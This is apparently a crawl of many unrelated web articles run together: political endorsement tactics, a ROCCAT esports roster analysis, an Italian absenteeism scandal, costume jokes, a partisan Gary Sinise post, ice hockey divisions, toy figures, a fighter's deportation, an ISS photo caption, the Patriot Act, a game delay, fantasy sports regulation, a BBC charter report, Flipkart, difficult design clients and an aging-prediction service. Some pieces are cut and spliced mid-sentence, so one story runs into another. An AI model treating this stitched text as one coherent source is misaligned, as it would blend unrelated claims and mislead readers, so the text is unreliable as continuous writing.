Zollman notes being among the first to endorse a candidate who is best positioned to win has its advantages. “You get more credibility,” he said. “I want to endorse early so I can say, ‘I was there first’ — the political version of being a hipster.”
But it comes with risks. “You might endorse a loser, or you might waste an endorsement,” he continued. “Think of those people who rushed out and endorsed Bush. They can come back and change their endorsement… but in a certain sense, they’ve lost the gain they got. They’re not going to get the same influence now.”
This might not be a problem for Christie. While he’s maintained a friendship with Trump for years, Zollman told me he and his colleagues suspect the New Jersey governor is actually aiming to attach himself to Trump’s movement—a groundswell of discontent that could reshape the Republican Party. That way, even if Trump loses, Christie still wins.
Collective ignorance
At the other end of the game is the #NeverTrump movement. Mitt Romney, the one-man army, has to tread carefully while arguing to voters that Trump is the wrong pick—because after all, many of them voted for him.
But the parable of “The Emperor’s New Clothes” could shed light on his approach. As written by Hans Christen Anderson, the tale relates the plight of a king hoodwinked by a charlatan, who claims to have crafted a robe so fine that only the most discerning eye can see it. The king, too embarrassed to admit he can’t see his new suit, parades around in the buff to the ooh’s and ah’s of his court; it’s left to a child to point out that the monarch is actually naked.“It wasn’t just that this team threw a bunch of names together at the last minute and just happened to get a good team. This team was constructed through a logical set of moves and every step of the way wasn’t just the right decision but the best decision a small organization like this could make. As a result I think they’ve won the off-season.”
— Thoorin, Thoorin’s Thoughts - How ROCCAT Won the Off-Season
ROCCAT is a team defined by an identity crisis. Following their moderately successful debut season, ROCCAT has fielded new rosters that were met with high expectations but despite having all the winning components, the winning formula was never there. As an outspoken fan and believer in the Old God killer Nukeduck, I have to say I found myself disappointed and let down on more than one occasion in spring, only to have my hopes briefly renewed in the summer.
I have to say that unlike many, I was disappointed by the initial changes to the ROCCAT roster. The first five of Xaxus/Jankos/Overpow/Celaver/Vander had finally found their own in the Summer 2014 Playoffs. Though their map control left much to be desired, Jankos’ had perfected his early game to an art and Celaver had turned from a potential liability into a credible threat. This was particularly shown in their semifinals performance against Fnatic, taking the three time LCS champions to the full five games with standout performances from every member.
That first five had begun with issues, but they worked through them and came out the other side stronger. Each player had finally found their niche within the team and their stronger teamfighting and tighter control around neutral objectives reflected that. None of those removed from the roster would find that synergy again. Celaver went from carrying what was arguably the game of the split, to being stuck at the lower end of the Challenger Series. Xaxus met a similar fate.
Restructuring
Of those left, Jankos and Vander were expected to become star players in their own right to finally meet their potential. In a region that infamously lacked abundant support talent, Vander had begun 2014 as an up and comer with his Thresh play earning him the nickname Vanderlife. Limiting his champion pool to purely pick potential in Spring, he expanded in the summer to include Leona, Nami and Braum alongside his revered Thresh and Morgana.
Jankos had no such issues. Jankos was able to play every meta jungler at the time and began to develop a reputation as the ‘First Blood Machine’. Rather fitting for an Elise main, a champion that excels in early dives and mid game pick potential. In tandem with Vander, the pair would dictate the game for ROCCAT. Overpow at this time would often aid Jankos in applying pressure around the map, compensating for his inability to match up in raw skill to his opposing mids (two CS records were broken against Overpow). Mid game, the dual pick potential of Jankos and Vander would set fights perfectly in ROCCAT’s favor and allow them to push forward to a victory.
This very binary playstyle was figured out and exposed. For the roster to find themselves by the Summer 2014 playoffs was to be applauded. The roster collapse shortly thereafter was disappointing. It was very unlikely they would find such synergy again. The problems they had developed and fixed would potentially appear again. If they were going to let go of this two year long project, they’d better have a damn good roster in mind. They did.
Rookie of the split, Woolite, would replace Celaver. I was particularly sad to see Celaver go due to the aforementioned game of his life but happy that Woolite found a place. The Copenhagen Wolves was already developing a lineage of AD carry players starting with Forg1ven, and Woolite was a good place to continue it. For the Copenhagen Wolves, he was a positional AD carry, very consistent, a seemingly safe bet but far from a pure carry in his own right. If we went by the idea of Rekkles/Forg1ven/Tabzz being at the height of their respective styles, Woolite would be a Rekkles.
Overpow was getting replaced by Nukeduck. This is the big one. To have a strong positional AD carry in the bottom lane, you need to have somewhere else to transfer. From the outset Nukeduck looked perfect. A true veteran of the scene, Nukeduck had fallen on hard times after his ill-fated departure from Lemondogs to the seemingly cursed organization of Ninjas in Pyjamas. Being surprised and upset by KMT in the relegation match (who would ironically go on to become ROCCAT), Nukeduck spent season four in the Challenger Scene, failing again to go forward to the LCS after bowing out to Millennium in a full five game set. However, Nukeduck in his own right was seemingly still Nukeduck. He who stood up to the Old Gods of Europe and took the regular split of Summer 2013 and dominated solo queue to this day. A prodigy of the school of Incarnati0n. This was surely the carry mid laner through and through that would send ROCCAT to a top three spot in the LCS.
Reality Bites
Unfortunately, Overpow was moved to top.
An immediate criticism of this move was obvious from Overpow’s playstyle. He was not a strong laner at all. His strength in 2014 was to buff up the pressure Jankos applied around the map. He would avoid the mid lane all together against his stronger opponents and who could forget his Spirit of the Spectral Wraith Ziggs that emphasized his capitalization of jungle camps to stay up in cs. Now, he was expected to hold the top lane. He doesn’t have the option of roaming here. Perhaps a good lane swap could mitigate the issue, but Overpow had been maining Irelia to an almost Wickd extent. Moreover, in spite of being new to the role, Overpow had begun to pick a new champion every game and you could generally begin to predict if ROCCAT did well by Overpow’s KDA.
Overpow had, in effect, made himself a win condition on a team with Nukeduck.
This presented issues. The way Nukeduck/Jankos was supposed to run was simple on paper. The First Blood Machine would feed the original solo carry early kills and the bane of the Old Gods would take over the game. Instead Jankos had to continue to concentrate on side lanes like he did the previous season out of necessity. If he did not find success then the team as a whole would find failure. This complete ignorance and skewering of ROCCAT’s win conditions would spell death for a team that many considered would be top three on paper.
It is a true shame because coming into a team with the dual pick potential of Jankos/Vander should have yielded Nukeduck the exact type of atmosphere he wanted. On his assassins, Nukeduck should have found pick after pick in his opponent’s jungle in tandem with Jankos or ended mid game fights before they began with Vander. Instead, the picks never came and Nukeduck was not allowed to become the carry everyone expected of him. Due in large part to an identity crisis ROCCAT brought upon themselves.
Instead, it appears Woolite decided to step up. Gone was the safe, positional AD carry of old and onwards and upwards was the new and re-tooled Woolite. Woolite was already known for being more aggressive in lane than his positional teamfighting would otherwise indicate, but he took that to epic proportions. Frequent appearances of Jankos topside would not spell good things for the Woolite lane, let alone Nukeduck. Woolite in teamfights became far less patient, seemingly looking to be the playmaker they had lost in the mid. His late game decision making became infamous, frequently backing in places he had no business backing.
Summer Miracle
To enter the Summer Split, the arguably star studded team of ROCCAT had to defeat the Copenhagen Wolves Academy in promotions. This was an incredible low for the team whose final LCS match had been a loss to the auto-relegated and controversy-engulfed Meet Your Makers. This time, the need for change was apparent to all. Coach Ducky was replaced with MYM’s outgoing YamatoCannon and Overpow was finally removed in favor of a career top laner, Steve.
This iteration of ROCCAT didn’t hit the ground running. An early victory against Gambit, who were themselves struggling with new addition of Forg1ven and a lack of coach, was all they would find before a perfect storm arrived in the form of Origen. Messing up the draft phase, Origen gave ROCCAT their opening and ROCCAT took teamfight after teamfight against Origen’s distinct lack of hard crowd control. This was the final game Woolite played with the team before MrRallez came on board.
MrRallez was a more intelligent Woolite. I’ve often classed MrRallez as the Tabzz-echelon of AD carries and this is often excellent with a mid laner who requires a lot of attention. MrRallez can transfer his power into other lanes and retain a positional role in teamfights. ROCCAT didn’t gel immediately, but took off in the second week with their first 2-0 since week three of spring 2015. Jankos was finally taking mid priority with the attention of sidelanes no longer a constant need and Nukeduck was given a comfortable position to carry from. He took the mantle of Varus, a mid game poke champion that had the carrying potential he needed.
This new ROCCAT gave so much hope and was far from a bottom three team. They went on to take out H2K Gaming with Nukeduck stepping up on Viktor for an 8-0-6 scoreline. They took out Origen again in their next meeting with a very aggressive Yasuo pick mid, like the Nukeduck of old. Steve had settled into a cycle of Maokai and Rumble, either peeling for his carries or zoning to facilitate them. Both were also low economy champions that did not require excessive attention to become a factor mid-late game.
The Highest Note
It is sad when the highest peak a top three roster achieved was to finally make playoffs. ROCCAT went the full five in a series against the Unicorns of Love. The Unicorns have always been an underrated series team and the acquisition of H0R0 gave them an unprecedented early game impact. Watching the Unicorns’ consistently take the gold lead at fifteen minutes is a terrifying sight to behold, but nonetheless ROCCAT endured. They picked a mid-game focused composition and swept games through brute force before the Unicorns could scale and react.
In the final game, the mental fortitude of the Unicorns of Love came through again.
In the end it wasn’t a draft, it wasn’t a setup and it wasn’t necessarily a strategy that would be the downfall of ROCCAT. It was synergy. It was the one thing the old team had finally developed, only to be traded out for fool’s gold in the promises of a paper perfect roster. The Unicorns of Love were able to split them up and through sheer will, Viziscacsi split pushed to victory. It’s the mindset that has always been the Unicorn’s greatest asset. It’s one that was never ROCCAT’s. It’s one that needs to be developed over time.
There is time yet. ROCCAT have finally snapped the pieces together. If ROCCAT play with Steve but iron out the weaknesses of their playstyle, or if Dart can continue the low economic playstyle of Steve and facilitate their carries, ROCCAT have a strong chance at taking games. Perhaps through another miracle they can take it all. Even if they don’t, they finally have a formula, and all that is left is to refine it.
Michael “Veteran” Archer was an avid worshipper of the Old Gods but has since been corrupted to worship the Killer What Hates Barbers. You can follow him on Twitter.Submitted by Michael Shedlock via MishTalk.com,
Roughly half the municipal employees in Boscotrecase, Italy (population 11,000) have been arrested for fraud.
The employees clock in, sometimes for each other (with boxes over their heads), but don’t show up for work.
The arrested are accused of fraud against the state. As a result, there are not enough people to run the town. Services are shut down.
Please consider Not Enough Staff to Run Italian Town after Arrests for Bunking Off Work.
The mayor of a small town outside Naples had to shut down most municipal offices after police arrested 23 of his staff in the latest revelations of absenteeism in Italy’s public sector. Staff were filmed clocking in and then leaving to go about their personal business or using multiple swipe cards to register absent colleagues, police said, in scenes that have become familiar after numerous similar scandals. A police video showed one man trying to tamper with a security camera and then putting a cardboard box over his head to hide his identity before swiping two cards. Police arrested around half of all employees in the town hall offices of Boscotrecase following a weeks-long investigation that they said revealed 200 cases of absenteeism involving 30 people. “I’ll probably have to shut down the town hall,” Pietro Carotenuto, elected a month ago as mayor of the town of 11,000 people, told Sky Italia. Those arrested, accused of fraud against the state, included the head of the local traffic police and the head of the town’s accounting department.
Warning: Don’t Try This at HomeThis happens like clockwork once every few months. A perfectly nice Halloween costume manufacturer sends us the latest disguises based on [insert upcoming $150-million movie's name here] and we have an ethical obligation to make fun of them.
It's not the fault of the designers. I bet there was an idealistic intern out there who burnt the midnight oil trying to make the Sinestro mask not look an anal polyp (said intern failed, incidentally).
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It's the simple fact that store-bought Halloween costumes are the most meritless art form ever invented. No cosplay contest anywhere has a category honoring "The Best Costume Purchased At Party City." These branded tarps make an otherwise sane adult look like he A.) wandered off the set of a superhero parody porno; or B.) owns an unlicensed RV with shorn-off license plates and a smokehouse where the bedroom should be.
The only people who can wear store-bought Halloween costumes with a modicum of dignity are babies and dogs, and they don't even count. Dogs are an entirely different species altogether. Babies are, like, fractional people. "Peo," if you will.
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Anyhow, here's a sartorial critique of the Amazing Spider-Man and Avengers costumes hitting stores sometime this year. Remember, the easiest and cheapest way to gain Hulkish verisimilitude is to paint your body green. Puny humans won't leave you alone.
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First off, we have Nick Fury, which is a zero-effort costume normally. $1 eyepatch + cheap cigar + Eisenhower's favorite cuss words. Buy this costume if you want the S.H.I.E.L.D. regulation peacoat, which — for that extra "secret agent" twist — doubles as an emergency prophylactic.
I have no idea how they did it, but this minimalist Hawkeye costume makes his fandango Wolverine mask look tasteful. This looks like the uniform for the unaired Aryan Nation version of American Gladiators.
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And who could forget the time Professor Bruce Banner accidentally gamma-irradiated his award-winning asparagus risotto?
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Like a reverse mullet, Thor is party on the top and business on the bottom. I had zero clue Asgardians wore slacks.
If you wear this Loki costume, chances are your less comic-literate compatriots will mistake you for "Bullman" or a Satanic crossing guard.
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It's not the world's worst Black Widow costume, but this look is less "flame-tressed czarina of espionage" and more "local oblast's pantsuit-clad vice-deputy minister of millet production."
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This wig required the scalps of no less than three Mr. Big fan club members.
I've had dreams about getting assaulted by Lord Humongousesque gangs of nomads wearing bootleg Spider-Man costumes. But that's just me. Also, the horizontal lines guide the eyes directly toward the crotch. Again, that's just me.
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Spoiler Alert: The bite of a radioactive arachnid unexplainably transforms your xyphoid process into a Christmas ornament.
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Is this a costume, or did a Dane Cook fan who misinterprets every joke stumble into the photo shoot? Either way, everything about this photo is completely inexcusable.
[Via Costume Craze here and here]Gary Sinise is one of the most honorable men working in Hollywood today.He has given countless hours to supporting our veterans. He’s a great person. For liberals to have any problem with him is just ridiculous.
LA Weekly reports:
Rose Parade Criticized for Choosing Gary Sinise as Grand Marshal
On Monday, the Tournament of Roses organization announced that actor Gary Sinise, known for his work in Forrest Gump and Apollo 13, was chose as the grand marshal for the 129th Rose Parade Jan. 1.
Trending: CNN Told By South Korean Official: “Clearly Credit Goes To President Trump” (VIDEO)
This year’s theme is “making a difference.” Sinise was cited for being a humanitarian and donating time and cash to veterans. In a statement, Tournament of Roses president Lance Tibbet said, “Gary’s humanitarian work with our defenders, veterans, first responders and their families over the years, embodies our theme to the fullest.”
But some critics are concerned that this could be a divisive choice. Sinise is a founder of a conservative group that gave early voice to then-presidential contender Donald Trump, who is now historically unpopular in California…
“It’s not a good look for the city of Pasadena,” says Maria Teresa Borden of the pro-immigrant group Indivisble Highland Park. “This is a region understood to be friendly to immigrants for centuries.”
Liberals are being jerks about this because they just can’t get past politics. It’s like a religion to them.The IIHF World Championship Division III are an annual sports event organized by the International Ice Hockey Federation (IIHF). They are the lowest level of the IIHF World Championships.
Organization [ edit ]
When the IIHF reorganized its World Championships hierarchy in 2001, nations outside of the top 40 were placed in Division II Qualification. The bottom two nations from Pool D did not participate in 2001, but were promoted to Division II for 2002, and by 2003 (with growing participation), the qualification tournament was renamed Division III.
From 2001 until 2011, the two national teams that finished last in their groups at the Division II tournament were relegated to Division III for next year's World Championships. At the Division III tournament, the two best placed teams were promoted to next year's Division II tournament. However beginning in 2012, the Division II Group B and Division III tournaments will exchange only one team.
According to the IIHF, the Men's championships will involve a maximum of 46 nations.[1] However in 2010, the Division III tournament was played in two pools of four, and in 2008 and in 2013, a qualification tournament was played to fill the final spots in the tournament. Tournament organizer (Turkey) allowed for a seven team tournament in 2015, and was going to do so again in 2016.[2]
Results [ edit ]
From 2002 until 2011, the two national teams that place the highest were promoted to Division II. From 2012 until 2017, only the first place team was promoted to Division II Group B. Beginning in 2018, the first place team in Division III was promoted to Division II Group B, and was replaced by their last placed team. The last placed team in Division III was relegated to Division III Qualification, and was replaced by their champion. The winner of Division III Qualification was promoted to Division III, and was replaced by their last placed team.
Year Promoted Relegated To Division II B To Division III To Division III Qualification 2018 Georgia (Division III) Turkmenistan (Division III Qualification) Hong Kong
^ – There were only two teams registered so the tournament was not played as both teams had automatically earned promotion.
Pool D [ edit ]
Champions 1987–2000 [ edit ]
Year National team 1987 Australia 1989 Belgium 1990 Great Britain 1992^ Spain 1994^ Estonia 1995^ Croatia 1996 Lithuania 1997 Croatia 1998 Bulgaria 1999 Spain 2000 Israel
^ – In 1992, 1994, and 1995, there was no Pool D. However, Pool C was divided in two tiers where the winner of 'C2' was promoted to 'C1', essentially making C2 the same as D. Accordingly, the winners (Spain, Estonia and Croatia) are listed here.
Summary of participation [ edit ]
29 championships
In 2010, the two four-team tournaments were played, this charts ranks them together assigning gold silver and bronze to the nations who ranked 41st, 42nd, and 43rd overall.
The Division III teams (2018) are ranked one to ten, with this chart assessing gold, silver, and bronze to the nations who ranked 41st, 42nd, and 43rd overall.
See also [ edit ]
References [ edit ]Thanks Brooke for the great assortment of gifts, they will all be utilized! I already started reading 'How to be an Explorer of the World' and I'll make it a goal to finish'Mint Juleps with Teddy Roosevelt: The Complete History of Presidential Drinking' before Christmas because I'm sure my grandpa will enjoy some of the stories.
The tacos for dinner tonight were enhanced with the Texas gunpowder seasoning you sent and I look forward to trying the queso, salsa, and meat rub soon. Since it is only Wednesday, I did not compliment dinner with some whisky from the fantastic Texas themed flask you sent, but it'll definitely be making the trip to Austin for Psychfest this Spring (and around Chicago this weekend).
Lastly, Rem dog is going to ecstatic with his new Santa chew toy and I'm going to get a lot of laughs watching him romp around the apartment with it.
Thanks again so much, your gift was really special. Happy holidays!Amazon Japan has posted up pre-orders for two upcoming DC Films MAFEX figures from Medicom. The new items include The Dark Knight – The Joker 2.0 as well as The Dark Knight Rises – Bane.
The updated version of The Joker features updated paint on the head sculpts using the popular digital printing technique. Joker will also include some new accessories. The original included a rocket launcher, a pistol, a machine gun, a knife and playing cards. The 2.0 version will include those, plus additional knives, more playing cards and a club. Interchangeable hands and head sculpts are included as well. The figure is scheduled for release on January 25, 2018 and will be priced at 7,344 Yen (about $66 USD).
Also unveiled was Bane from The Dark Knight Rises. The figure will include a jacket with interchangeable arms. Bane will also include two shattered Batman cowls. It also looks as if Ban will have a few interchangeable hands. The figure will be released on February 25, 2018 and will be priced at 7,344 Yen (about $66 USD).
Check out the photos after the jump.After completing his jail sentence for the sexual abuse of a minor under 14 years old, former UFC lightweight title challenger Hermes Franca is back in Brazil. An immigration judge ordered Franca, then a legal US resident, to be deported according to Fox 12.
In January of 2012 Franca was initially charged with seven counts of sex abuse in the first degree as well as two counts of unlawful sexual penetration in the second degree. He would eventually plead guilty to a single count of both unlawful penetration and first-degree sexual abuse. The incident reportedly involved a young student at his martial arts academy.
Franca was in jail for over two years and released to Immigration and Customs Enforcement custody. Following the immigration judge ordering his deportation he was escorted to Brazil by a federal officer.
Had he not been deported, Franca's initial conviction carried with it over four years of supervision following his release and registering as a sex offender.
Franca fought in the UFC eleven times, highlighted by a title bout with Sean Sherk which he lost by decision. He then tested positive for an anabolic steroid. He's also a former WEC champion and holds wins over current UFC fighters Nate Diaz, Jamie Varner and Mike Brown.× This page contains archived content and is no longer being updated. At the time of publication, it represented the best available science.
Montreal, the largest city in the mostly French-speaking Province of Quebec, is considered by some to be the cultural capital of Canada. The metropolitan area (image center) is the country’s second-largest, having been surpassed by Toronto in 1976. While the city of Montreal is located on the Island of Montreal, at the confluence of the St. Lawrence (image center) and Ottawa rivers (not visible), the city takes its name from Mont Royal, located at the city’s center. Several smaller urban areas form a loose ring around the metropolitan area: Sorel-Tracy, Saint-Hyacinthe, Saint-Jean-sur-Richelieu, Salaberry-de-Valleyfield, Saint-Jerome, and Joliette are among those that can be readily identified.
This astronaut photograph of the city lights of Montreal illustrates the extent of urbanization. Major roadways and industrial areas are traced by bright white lighting, while the adjacent residential and commercial lands are characterized by more diffuse yellow-gold lighting. Rivers and other water bodies appear black, while the surrounding countryside is faintly illuminated by moonlight. Blurry areas at image top and bottom right are caused by cloud cover.
The International Space Station was located over the Pennsylvania-New York border (near Warren, Pa.) at the time this image was taken—a ground distance of approximately 600 kilometers (370 miles) southwest of Montreal. This distance from the camera target, coupled with the oblique (inclined) viewing angle from the ISS, results in the foreshortened appearance of urban areas in the image.
Astronaut photograph ISS026-E-12474 was acquired on December 24, 2010, with a Nikon D3S digital camera using a 180 mm lens, and is provided by the ISS Crew Earth Observations experiment and Image Science & Analysis Laboratory, Johnson Space Center. The image was taken by the Expedition 26 crew. The image has been cropped and enhanced to improve contrast. Lens artifacts have been removed. The International Space Station Program supports the laboratory as part of the ISS National Lab to help astronauts take pictures of Earth that will be of the greatest value to scientists and the public, and to make those images freely available on the Internet. Additional images taken by astronauts and cosmonauts can be viewed at the NASA/JSC Gateway to Astronaut Photography of Earth. Caption by William L. Stefanov, NASA-JSC.Senator Russ Feingold Correctly Predicted How The Patriot Act Would Be Abused; Too Bad He Got Voted Out Of Office
from the sad dept
One provision that troubles me a great deal is a provision that permits the government under FISA to compel the production of records from any business regarding any person, if that information is sought in connection with an investigation of terrorism or espionage.
Now we're not talking here about travel records pertaining to a terrorist suspect, which we all can see can be highly relevant to an investigation of a terrorist plot. FISA already gives the FBI the power to get airline, train, hotel, car rental and other records of a suspect.
But under this bill, the government can compel the disclosure of the personal records of anyone - perhaps someone who worked with, or lived next door to, or went to school with, or sat on an airplane with, or has been seen in the company of, or whose phone number was called by -- the target of the investigation.
And under this new provisions all business records can be compelled, including those containing sensitive personal information like medical records from hospitals or doctors, or educational records, or records of what books someone has taken out of the library. This is an enormous expansion of authority, under a law that provides only minimal judicial supervision.
Under this provision, the government can apparently go on a fishing expedition and collect information on virtually anyone. All it has to allege in order to get an order for these records from the court is that the information is sought for an investigation of international terrorism or clandestine intelligence gathering. That's it. On that minimal showing in an ex parte application to a secret court, with no showing even that the information is relevant to the investigation, the government can lawfully compel a doctor or hospital to release medical records, or a library to release circulation records. This is a truly breathtaking expansion of police power.
Before there were Senators Ron Wyden and Mark Udall speaking out against the Patriot Act, the FISA Amendments Act and secret interpretations of the law that take away our civil liberties, there was Senator Russ Feingold -- theSenator who voted against the Patriot Act at the beginning. At the time, he clearly warned what it would lead to:That was in October of 2001. And he was right. And, since the beginning, he was the only Senator who consistently voted against the Patriot Act and various extensions and expansions. And, over the years since then he regularly warned us about secret interpretations of the law, including putting together a hearing more than five years ago on "Secret Law and the Threat to Democratic and Accountable Government." Not only did people fail to take him seriously back then, they voted him out of office in the 2010 "tea party" wave. Considering how many in the Tea Party are now among those most upset about the revelations of NSA surveillance, they might regret that decision... especially since the man they replaced him with, Senator Ron Johnsonboth the FISA Sunsets Extension Act of 2011 and the FISA Amendments Reauthorization Act of 2012 which extended the various provisions that we now know were secretly interpreted by the FISA Court to make these surveillance programs "legal."Feingold is now speaking out about the NSA surveillance, and it's already leading some to suggest he run again for public office
Filed Under: nsa, nsa surveillance, patriot act, politics, russ feingold, secret laws, surveillanceNi no Kuni 2 delayed a second time to March 2018 Level-5 needs ‘a bit more time’
Ni no Kuni 2: Revenant Kingdom has been delayed for a second time. Previously scheduled for Jan. 19, 2018, the role-playing game will instead launch on March 23, 2018.
In a note about the shifted release date, director and CEO of development studio Level-5 Akihiro Hino wrote that the team is still tinkering with the game to ensure it “meets our highest quality standards.”
“With innovation and new ideas comes the need to ensure everything works together in a fun and cohesive way; this means we’ll need a bit more time to make sure the entire Ni no Kuni 2 experience meets our highest quality standards,” Hino wrote. “So today, I would like to ask for everyone’s patience as we move Ni no Kuni 2’s worldwide release date to March 23, 2018.”
Bandai Namco Entertainment first announced that Ni no Kuni 2 would launch in November 2017. In July, however, Hino said that Level-5 needed extra time to work on the game, pushing the release to January. Since then, the team introduced two new modes: a kingdom builder and a separate battle type called skirmishes.
We went hands on with a skirmish during Gamescom 2017 and found it to be an interesting addition. We won’t be able to play any more of that mode or the rest of the PlayStation 4 and Windows PC game until March, but a new trailer below gives us another look at Ni no Kuni 2 until then.Virginia Governor Terry McAuliffe walks after a news conference at the Mariel port in Artemisa province, Cuba January 5, 2016. REUTERS/Enrique de la Osa
(Reuters) - Virginia Governor Terry McAuliffe has signed a bill that makes the state the first in the United States to regulate fantasy sports, a multibillion-dollar online business whose legality has been challenged across the country.
The measure signed by McAuliffe, a Democrat, mandates that players be 18 or older, offers players limits on how much they can bet, requires annual audits and bars employees from competing in company contests. It takes effect on July 1.
“This bill, which was passed by super majorities of both chambers, will empower Virginia to regulate this emerging industry and keep consumers safe from abuses,” Brian Coy, a McAuliffe spokesman, |
need to look at extending the current charter to allow public and parliamentary consideration,” said the committee chair.
The culture department hoped to publish the white version in the spring, but a combination of 193,000 responses to last year’s green paper – the second highest number to any similar piece of legislation – May local elections and the proposed EU referendum has raised doubts about the ability of the department to publish before the summer.
Other key points from the report include:
The BBC Trust has “lost confidence and credibility and should be abolished”, then be replaced by a unitary board and separate regulator within the existing Ofcom structure.
Extending the current or next charter period from its current 10 years to remove negotiations from the election cycle. Previous royal charters have run for more than 10 years, though not in recent years.
The committee opposed a five-year charter, which it said had no merit.
The BBC’s commercial news operation should be restricted to news gathering and delivery and resist “the temptation to expand into magazine-style content”.
As well as concerns over pay, questions over the BBC Studios plans include: whether they would be vulnerable to challenges under state aid rules; whether BBC commissioners might favour studios over other producers; and whether a more commercial approach might have a negative impact on regional commissioning.
Organisation by BBC executives of the so-called “lobbying letter” signed by stars supporting the corporation was “entirely unacceptable”.
The government should consider setting up an independent public service reporting body to enhance local reporting, especially from courts and councils.
There is a lack of communication between BBC strategists at the top and engineers working on technology projects.
The BBC Trust, set up 10 years ago, has few remaining defenders, but the report is particularly forthright about future options once the current charter period ends in December.
“The problem that the trust was intended to solve – the need for the BBC’s top managers to be appropriately challenged and held to account on behalf of the licence fee payer – remains. Our judgement is that the issue of wider accountability should be the task of a separate section of Ofcom.”
The cross-party group of MPs was also critical of BBC Worldwide, saying that it lacked transparency about its performance and distribution deals, and that it should be subject to a review of its business case to ensure it is delivering both value for money and protecting the BBC’s brand.
Both the BBC Trust and the BBC separately welcomed the report and proposals to create a unitary board and separate regulator. A BBC spokesperson said:“We support the committee’s assertion that the BBC’s independence should be protected by taking the BBC out of the political cycle, and agree with its proposal for an 11- or 12-year charter.
“We also welcome the committee’s support for the BBC’s record on producing distinctive programmes which we know that the public love, and its recognition of the BBC’s value to the UK and around the world.”Flipkart, India's largest e-commerce site, announced the launch of 20 'experience zones' across the country to facilitate buying and self pick-ups for consumers.
Now customers can walk into their nearest 'experience zone' and collect their shipments at their convenient time.
Unavailability of customers during delivery and restricted entry of delivery persons into office complexes, gated communities and educational institutions are some of the key reasons that lead to customer dissatisfaction with the delivery process, Flipkart said in a statement.
Commenting on the initiative, Neeraj Aggarwal, Senior Director Delivery Operations, Flipkart, said "Getting logistics right is extremely crucial for e-commerce companies. Our efforts are focused on expanding our delivery network, without compromising on the customer service levels and expectation. We believe this model is a resolution to customer unavailability issues, as it offers consumers a choice to adjust the delivery time & location according to their convenience. It also provides a solution to restrictions for e-commerce entry into tech parks/ gated communities/ universities."
These Experience Zones are currently present across Bangalore, Mysore, Ahmedabad, Delhi, Kolkata, Pune, Vellore, Gurgaon, Vadodora, and Surat.
Flipkar t plans to increase the number of experience zones to 100 by March 2016.
Experience zones will also form a key element of Flipkart's rural expansion strategy as the company plans to expand their reach into Tier 4 towns and rural areas by making the entire town serviceable from a pick-up centre, a reliable alternative to door delivery in small towns.
Flipkart said, these experience zones will soon add value added services like spot trials, reverse pick-ups, instant returns, cash on returns, and exclusive product demos.Most clients are good clients, and some clients are great clients. But some jobs are just never going to work out well. Herewith, a few indicators that a project may be headed to the toilet. Guarantee: All incidents taken from life.
Client asks who designed your website. Client shows you around the factory, introducing you to all his employees. Then, behind closed doors, tells you: “If you do a bad job with this website, I’m going to have to let these people go.” Client takes six months to respond to your proposal, but doesn’t change his due date. At beginning of get-acquainted meeting, client informs you that someone has just bought his company. Client, who manufactures Russian nesting dolls, demands to know how many Russian nesting doll sites you have designed. At meeting to which you have traveled at your own expense, client informs you that he doesn’t have a budget per se, but is open to “trading services.” Client can’t articulate a single desired user goal. He also can’t articulate a business strategy, an online strategy, a reason for the site’s existence, or a goal or metric for improving the website. In spite of all that, client has designed his own heavily detailed wireframes. As get-acquainted meeting is about to wrap, the guy at the end of the table, who has been quiet for an hour and 55 minutes, suddenly opens his mouth. Leaning forward intensely, client tells you he knows his current site “sucks” and admits quite frankly that he doesn’t know what to do about it. He asks how you would approach such a problem. As you begin to speak, he starts flipping through messages on his Blackberry. Client announces that he is a “vision guy,” and will not be involved in the “minutia” of designing the website. He announces that his employee, the client contact, will be “fully empowered” to approve each deliverable. On the eve of delivery, the previously uninvolved “vision guy” sends drawings of his idea of what the web layout should look like. These drawings have nothing to do with the user research you conducted, nor with the approved recommendations, nor with the approved wireframes, nor with the approved final design, nor with the approved final additional page layouts, nor with the approved HTML templates that you are now integrating into the CMS. Your favorite client, for whom you have done fine work in the past, gets a new boss. The client wants web 2.0 features but cannot articulate a business strategy or user goal. Shortly before you ship, the company fires your client. An overwhelmed assistant takes the delivery. The new site never launches. Two years later, a new person in your old client’s job emails you to invite you to redesign the site. Client sends a 40-page RFP, including committee-approved flow diagrams created in Microsoft Art. Client tells you he has conducted a usability study with his wife. Client begins first meeting by making a big show of telling you that you are the expert. You are in charge, he says: he will defer to you in all things, because you understand the web and he does not. (Trust your uncle Jeffrey: this man will micromanage every hair on the project’s head.) As approved, stripped-down “social networking web application” site is about to ship, a previously uninvolved marketing guy starts telling you, your client, and your client’s boss that the minimalist look “doesn’t knock me out.” A discussion of what the site’s 18-year-old users want, backed by research, does not dent the determination of the 52-year-old marketing guy to demand a rethink of the approved design to be more appealing to his aesthetic sensibility. While back-end work is finishing, client rethinks the architecture. Client wants the best. Once you tell him what the best costs, he asks if you can scale back. You craft a scaled-back proposal, but, without disclosing a budget or even hinting at what might be viable for him, the client asks if you can scale it down further. After you’ve put 40 hours into back-and-forth negotiation, client asks if you can’t design just the home page in Photoshop.
[tags]client services, client management, clients, agency, agencies, freelance, work, working, design, designing, designing life[/tags]Many technology commentators got all excited a few months ago when Microsoft launched how-old.net, a website where users could upload a photo and the site would guess the age of the person in the picture. The service was a great way to showcase the opportunity that applying artificial intelligence to a problem set introduces.
Insilico hopes to deliver a similar sort of an offering, but with a far more important purpose.
Insilico Medicine is an organization focused on aging research. Headquartered at the Emerging Technology Centers at the Johns Hopkins University Eastern campus in Baltimore, it has R&D resources in Belgium, Poland, Russia and China employing 39 scientists worldwide. It is one of the leaders in artificial intelligence trained on some of the largest repositories of gene expression and pharmacological data. Its approach to aging research is to eschew animal testing and instead apply high-performance computing to the problem. Insilico is a service provider who offers analytical services to biopharmaceutical companies, repurposes existing drugs and develops molecular biomarkers of aging and age-related diseases.
[ Further reading: 22 free tools for data visualization and analysis ]
Insilico is working on a beta version of its aging.ai service. The service takes data from regular blood tests and "guesses" the age of the patient. Already, at this early stage, the accuracy of the test is a reported 80% within the 10-year interval and 99% accuracy for guessing gender without relying on hormones.
Currently, there are no cheap biomarkers of aging. At the same time, there is no readily available way of tying actions (i.e. a drug regime) to particular aging biomarkers. The value of the service comes when it is combined with clinical activities:
As clinicians try out various procedures, drugs, diets or exercise, they may use aging.ai to see if it starts guessing a lower age for the patient. Initially, the service will not be used for medical purposes since regulatory approval is always a difficult journey. Instead aging.ai is currently focused on gamification of consumer blood testing and attracting the attention of the general public to the importance of periodic blood tests.
